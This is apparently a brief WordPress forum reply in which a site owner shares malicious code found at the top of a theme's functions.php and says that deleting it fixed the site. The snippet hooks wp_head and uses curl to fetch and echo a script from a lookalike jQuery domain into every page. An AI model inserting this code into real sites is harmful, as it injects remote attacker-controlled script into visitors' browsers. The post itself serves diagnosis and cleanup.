@panafricantimes
I detected that it was my template (theme). in functions.php in the first lines I found this
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="https://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 15;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
and delete it matter resulted
I hope they help